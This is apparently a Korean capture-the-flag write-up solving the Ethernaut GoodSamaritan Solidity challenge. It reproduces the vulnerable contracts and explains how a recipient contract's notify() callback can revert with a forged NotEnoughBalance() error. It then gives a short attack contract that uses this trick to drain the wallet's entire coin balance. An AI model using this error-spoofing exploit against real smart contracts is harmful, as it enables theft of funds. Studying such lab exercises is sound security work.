// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
import "openzeppelin-contracts-08/utils/Address.sol";
contract GoodSamaritan {
Wallet public wallet;
Coin public coin;
constructor() {
wallet = new Wallet();
coin = new Coin(address(wallet));
wallet.setCoin(coin);
}
function requestDonation() external returns(bool enoughBalance){
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
}
contract Coin {
using Address for address;
mapping(address => uint256) public balances;
error InsufficientBalance(uint256 current, uint256 required);
constructor(address wallet_) {
// one million coins for Good Samaritan initially
balances[wallet_] = 10**6;
}
function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];
// transfer only occurs if balance is enough
if(amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;
if(dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
}
contract Wallet {
// The owner of the wallet instance
address public owner;
Coin public coin;
error OnlyOwner();
error NotEnoughBalance();
modifier onlyOwner() {
if(msg.sender != owner) {
revert OnlyOwner();
}
_;
}
constructor() {
owner = msg.sender;
}
function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}
function transferRemainder(address dest_) external onlyOwner {
// transfer balance left
coin.transfer(dest_, coin.balances(address(this)));
}
function setCoin(Coin coin_) external onlyOwner {
coin = coin_;
}
}
interface INotifyable {
function notify(uint256 amount) external;
}
이 문제는 requestDonation()
를 호출하면 10개의 coin을 받는 컨트렉트인데 모든 coin balance를 빼낼 수 있으면 풀리는 문제이다.
requestDonation
함수를 보면 coin balance가 10보다 적을 경우 error를 try catch로 핸들링하여 가지고 있는 모든 token을 보내준다.requestDonation
이 실행되는 동안 control flow를 잠깐이라도 가져올 수 있으면 강제로 error를 뱉게하여 모든 coin을 빼낼 수 있을 것 같다.wallet
컨트렉트에 donate10
함수를 보면 coin.transfer
를 실행한다. coin.transfer
를 확인해보면 dest
가 contract일 경우 notify
함수를 실행한다. 이 지점이 바로 우리가 control flow를 가져올 수 있는 곳이다.notify
함수를 구현한 컨트렉트를 만들고 notify
함수에서 revert NotEnoughBalance()
; 를 뱉게해주면 된다.coin.transfer
를 할때마다 호출되기 때문에 amount
인자를 통해서 10일 때만 revert하게 해주자.contract attack
{
GoodSamaritan public target = GoodSamaritan(0xE4375bC450CD80F838F6e510164D6E9342F37759);
error NotEnoughBalance();
function notify(uint256 amount) external
{
if(amount == 10)
{
revert NotEnoughBalance();
}
}
function atk() public
{
target.requestDonation();
}
}
이렇게 문제를 해결하였다.